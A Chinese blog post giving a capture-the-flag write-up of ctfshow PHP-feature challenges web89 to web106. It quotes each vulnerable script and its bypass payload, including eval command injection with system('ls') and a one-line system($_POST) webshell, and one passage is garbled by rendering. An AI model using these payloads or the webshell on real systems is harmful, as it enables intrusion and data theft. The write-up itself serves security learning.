【从0开始学web】89-150 php特性

最新推荐文章于 2022-06-14 20:54:15 发布
最新推荐文章于 2022-06-14 20:54:15 发布
阅读量359 收藏
点赞数 1
分类专栏： CTF系列问题 php 文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/yzl_007/article/details/120877999
版权

【从0开始学web】89-150 php特性

前言

php代码审计一直很薄弱，希望完成这部分之后能有所提升。

web89

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

关键代码

if(intval($num)){
        echo $flag;

intval() 函数用于获取变量的整数值。需要拿到一个数字，但是又不被过滤掉，利用数组过滤

数组绕过，payload：?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

payload: ?num=4476x

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

preg_match()正则匹配，下面是一些常用的修饰符

i ：ignore-不区分大小写

g：global-全局匹配

m: multi line -多行匹配

s：特殊字符圆点 . 中间包含换行符号

本题目/^php / i m ， / p h p /im ，/^php /im，/php/i 第一个if 需要匹配到php，第二个if有不能匹配php，使用换行符绕过，第一个if处存在 m 参数，多行匹配，因此换行后无影响，第二个if 单行匹配，在换行符号后随便输入字符，即绕过

构造payload：?cmd=php%0A123

这里其实涉及到一个漏洞CVE-2017-15715 ，之后可以复现一下

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

intval()函数之前遇到过，匹配整数，

和web90类似，但是这里 == 和 ===

两个等号我们称为等值符，当等号两边的值为相同类型时比较值是否相同，类型不同时会发生类型的自动转换，转换为相同的类型后再作比较。

三个等号我们称为等同符，当等号两边的值为相同类型的时候，直接比较等号两边的值，值相同则返回true，若等号两边的值类型不同时直接返回false。

因此可以用科学计数法绕过，如4475e1在if( n u m = = 4476 ) 处 ， 因 为 是 科 学 计 数 法 ， 是 与 数 字 4476 同 一 类 型 ， 值 不 想 等 ， 到 了 i f ( i n t v a l ( num==4476)处，因为是科学计数法，是与数字4476同一类型，值不想等，到了if(intval( num==4476)处，因为是科学计数法，是与数字4476同一类型，值不想等，到了if(intval(num,0)==4476) 则被当成字符，匹配整数后变成4476,值想等，成功绕过。

payload:?num=4476e1

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

web90和web92的综合版本

大小写字母被过滤，可以使用小数点绕过，payload:?num=4476.12

后来看了提示还可以用不同的进制进行绕过，过滤了字母但是我们可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制 payload ： ?num=010574

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

新怎加一个strpos($num, “0”)函数

函数功能：strpos() 函数查找字符串在另一字符串中第一次出现的位置。小数点绕过，匹配一个0,实质上是过滤了进制转化的方法。开头不能出现0了

payload:?num=4476.0

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

. 被过滤了，不能使用小数点了

使用空格＋进制绕过

?num=+010574或者?num=%2b010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

绕过 == 'flag.php’的条件，高亮输出，找到flag.php的位置即可

payload:

?u=/var/www/html/flag.php
?u=./flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

md5数组绕过，值不等，md5值相等

这里是 === 强比较，弱比较的话可以百度有好多md5加密后是0e开头的，弱比较 0=0

如果传入md5函数的不是字符串而是数组，那么就会返回null, null=null绕过

数组绕过 a[]=1&b[]=2

在这里插入图片描述

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

解读一下代码，$_GET?$_GET=&$_POST:'flag'; 将get方法改变为post方法、

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; 大概就是如果get一个flag == flag 转化为cookie方法否则‘flag’

if($_GET['flag']=='flag'){
	$_GET=&$_COOKIE;
}else{
	'flag';
} 
if($_GET['flag']=='flag'){
	$_GET=&$_SERVER;
}else{
'flag';
} 
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
	highlight_file($flag);
}else{
	highlight_file(__FILE__);
}

大概可以这么理解，所有可以先get一个HTTP_FLAG，然后会转化为post请求，再post HTTP_FLAG 即可

思路应该没错hh

在这里插入图片描述

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

file_put_contents() 函数把一个字符串写入文件中。

与依次调用 fopen()，fwrite() 以及 fclose() 功能一样。

语法：file_put_contents(file,data,mode,context)

array_push() 函数向第一个参数的数组尾部添加一个或多个元素（入栈），然后返回新数组的长度。

该函数等于多次调用 $array[] = $value。

in_array() 函数搜索数组中是否存在指定的值。存在则返回1

注释：如果 search 参数是字符串且 type 参数被设置为 TRUE，则搜索区分大小写。

语法：in_array(search,array,type)

<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

嗯，没做出来

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

is_numeric() 函数用于检测变量是否为数字或数字字符串。语法：bool is_numeric ( mixed $var )

如果指定的变量是数字和数字字符串则返回 TRUE，否则返回 FALSE，注意浮点型返回 1，即 TRUE。

首先是这里$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

开始想着怎么构造绕过and,后来发现 = 的优先级更高，只要v1 = 数字或字母即可

?v1=1&v2=system('ls')&v3=;

?v1=1&v2=system('cat ctfshow.php')/*&v3=*/;

回显：ctfshow.php flag36d.php index.php

class ctfshow{
	var $dalaoA,$dalaoB,$flag_is_655676950x2dc9250x2d4dfc0x2dace80x2d9989e408211a;
}

ctfshow{65567695-c925-4dfc-ace8-9989e408211a}

或者?v1=21&v2=var_dump($ctfshow)/&v3=/;

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

和上题类似，但过滤了太多东西了，使用反射形。ReflectionClass 类报告了一个类的有关信息。

?v1=1&v2=echo new ReflectionClass&v3=;

这样就可以直接输出$ctfshow这个类的有关信息

ctfshow{9efdf2de-6aee-4970-8493-c4399c970872} 提示说少了一位，emm，从0输到f 哈哈

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

call_user_func — 把第一个参数作为回调函数调用

substr() 函数返回字符串的一部分。substr($v2,2); 从2位置开始，截取作为call_user_func的第二个参数v1作为 call_user_func的第一个参数。v3作为 file_put_contents的文件名。

payload：?v2=1&。。。词穷了 web99也是file_put_contents函数，没做出来，先放着，仔细研究一下再来写

web103

同web102，先放一下

web104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

sha1() 函数计算字符串的 SHA-1 散列。

在这里插入图片描述

嗯，计算字符，搞个数组都返回错误

get :?v2[]=1

post:v1[]=1

在这里插入图片描述

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces='既然你想要那给你吧！';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

在这里插入图片描述

这里出现了$$ ，双美元符号在PHP中，$var（单美元）表示一个名为var的普通变量，它存储字符串、整数、浮点等任何值。而$$var（双美元）是一个引用变量，用于存储$var的值

在这里插入图片描述

?suces=flag

# post
error=suces

这样suces和error都覆盖成了$flag，不管die 哪个，都会输出flag.

web106

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

和web104类似，只是这里v1!=v2 ，同样的构造数组，值不一样即可

未完待续…

yyyyzzzllll
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
从零开始学php-随书光盘源代码部分
03-15
《从零开始学PHP》是一本面向初学者的PHP编程教程，旨在帮助读者从基础知识开始，逐步掌握PHP语言的核心概念和实用技能。随书附带的光盘源代码部分是学习过程中不可或缺的辅助资料，提供了丰富的实例和练习，以便...
从0开始 学习PHP+MySQL+Linux 学习路线.zip
最新发布
02-23
总的来说，从0开始学习PHP+MySQL+Linux，需要耐心和毅力，但随着一步步深入，你将能够构建强大的Web应用，成为这个领域的专业人士。记得，理论学习与实际操作相结合，不断挑战自己，是提高技术能力的关键。
ctfshow php特性 web89-web115 web123-150wp
mumuzi的博客
02-01 4299
皮爱吃皮特性
CTFSHOW WEB89-100 PHP特性 详解
qq_49399033的博客
06-14 5737
CTFSHOW PHP特性做题笔记 详细学习
CTFshow-WEB入门-PHP特性(持续更新)
feng的博客
01-20 4973
web89 利用intval的这个特性： 非空的数组会返回1，因此利用数组绕过。 web90 两种方式： ?num=4476a ?num=0x117c web91 考察了preg_match的/m模式。 默认的正则开始"^“和结束”$“只是对于正则字符串如果在修饰符中加上"m”，那么开始和结束将会指字符串的每一行：每一行的开头就是"^"，结尾就是"$"。 因此?cmd=php%0a1即可 web92 <?php include("flag.php"); highlight_file(__
ctf-web入门-php特性
whisper921的博客
05-11 3378
web56
WEB攻防-PHP特性-学以致用
luffysec的博客
01-11 4482
学习笔记-WEB攻防-PHP特性-学以致用
CTFshow刷题日记-WEB-PHP特性(上篇89-115)
Love&Share
09-05 3471
Part1 有关 intval() 函数的绕过技巧 web89 clude("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } 能被intval
ctfshow php特性(89——150plus)
..
12-14 4550
web89 这题的逻辑是如果存在$_GET['num']，则用正则表达式匹配$num中的值，如果成功匹配则程序终止于"no no no"，否则进行下一步，如果intval($num)有正确的返回值，则输出$flag。 解题思路：该题要求传入的值不能有数字，那我们的话可以利用preg_match的一个漏洞，即无法处理数组，从而进行绕过正则匹配，同时intval函数处理一个数组有正确的返回值，可以达到输出flag的目的。 payload ： num[]= 或 num[]=任意..
php特性之intval学习小记
quan9i的博客
05-15 4957
前言 文章同步我的个人博客http://www.quan9i.top/，欢迎大家访问。 php特性的intval是一个比较常见的漏洞，今天就来比较全面的学习这个函数，将其简单的利用方式总结一下 函数学习 学习函数最好的方式就是去学习官方的，这样学习得到的收获更多一些，这里我们先来看一下这个函数定义 intval — 获取变量的整数值 而它的具体格式和解释如下 int intval( var,base) //var指要转换成 integer 的数量值,base指转化所使用的进制 Note: 如果 bas
web3-智能合约概述 | PHP实现ETH 4
路漫漫其修远兮 吾将上下而求索
02-27 3535
web3-智能合约概述 | PHP实现ETH 4
PHP、web前端开发-MySQL数据库应用.pptx
12-16
MySQL是一个广泛使用的开源关系型数据库管理系统，尤其在Web应用程序中，它以其高效、稳定和易于扩展的特性受到青睐。关系型数据库管理系统（RDBMS）的核心特征在于其数据组织方式，即以表格形式存储数据，每行代表...
Teaching-web-technologies-spring-2019-2020：核心PHP Web项目
01-30
从【压缩包子文件的文件名称列表】"teaching-web-technologies-spring-2019-2020-master"来看，这个压缩包可能包含课程的源代码、笔记、示例项目、作业和测试，供学生学习和参考。 在学习这个课程时，学生可能会学...
Perl_Scrip_hn.zip_WEB开发_PHP-PERL_
08-12
在Web开发领域，Perl和PHP是两种常用的脚本语言，它们各自拥有独特的特性和优势。标题中的"Perl_Script_hn.zip_WEB开发_PHP-PERL_"可能是一个包含Perl脚本的压缩包，旨在帮助开发者了解或实现PHP与Perl之间的交互，...
[BUUCTF]-Basic-Upload-Labs-Linux
yzl_007的博客
08-27 5024
[BUUCTF]-Basic-Upload-Labs-Linux 打开环境地址，其实是upload-labs这个文件上传漏洞靶场，之前有文件已经介绍了各个关卡的通过技巧，这里给上链接 https://blog.csdn.net/yzl_007/article/details/119395730 然后这里演示一下第一关吧 禁用掉javascript，将划线部分删去 然后直接上传php一句话木马文件 返回地址 …/upload/shell.php 蚁剑连接 然后在根目录找到flag 可以每一关都尝试一下
【从0开始学web】78-88 文件包含
yzl_007的博客
10-14 3518
【从0开始学web】78-88 文件包含 文件包含题，可以先了解一下文件包含漏洞 https://blog.csdn.net/yzl_007/article/details/120261435 web78 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 10:52:43 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 10:54:2
curl_setopt 函数
yzl_007的博客
10-17 3498
curl_setopt 函数 php curl_setopt函数的作用是为一个CURL会话设置选项，其语法是“curl_setopt (int ch, string option, mixed value)”，参数“option”表示想要的设置。 三个参数分别的作用 ch 由 curl_init() 返回的 cURL 句柄。 option 需要设置的CURLOPT_XXX选项。 value 将设置在option选项上的值。 下面先看一个示例 //来源菜鸟教程,初始化一个新的cURL会话并获取一个网页 &lt
2021-深育杯misc - Login
yzl_007的博客
11-14 3117
Login 题目简介：这破网站为什么不能注册？ 题目访问ip:3001 打开环境后是一个登陆窗口，但是没有账号 点击下方的获取示例有提示 下载下来一个提示文件后发现是个加密的压缩包 明显的明文攻击，修改伪加密文件，提取出示例 - 副本.txt，添加到压缩包，然后明文攻击解得密码为qwe@123 打开后发现password还是加密的，其中1.txt都是低字节6kb 压缩包短文本文件的crc32碰撞 https://github.com/theonlypwner/crc32 拼接起来就是welc0me_
upload-labs靶场1-21关一些思路
yzl_007的博客
08-04 2141
upload-labs靶场1-21关一些思路 1、js绕过，后缀名绕过 查看源码分析，允许上传的文件类型为.jpg|.png|.gif，可以抓包修改后上传 修改后缀为php即可 放包然后可以看到页面成功上传 返回了地址，下面就可以利用工具进行连接了。 这里看到地址 …/upload/2.php 这里…/是上一目录的意思 所以地址是http://ip/upload-labs/upload/2.php 口令是sb 用蚁剑连接如图，测试连接数据返回成功 然后点击添加成功查看目录并且能访问所以有权
PHP入门指南：从零开始构建Web应用
PHP的特点在于其易于理解和使用的特性，使得学习和开发效率高。 1.1 初识PHP 在PHP中，你可以将代码嵌入HTML文档中，如示例所示，通过`<?php ... ?>`标记来包裹PHP代码。这段简单的代码会输出“Welcome to ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值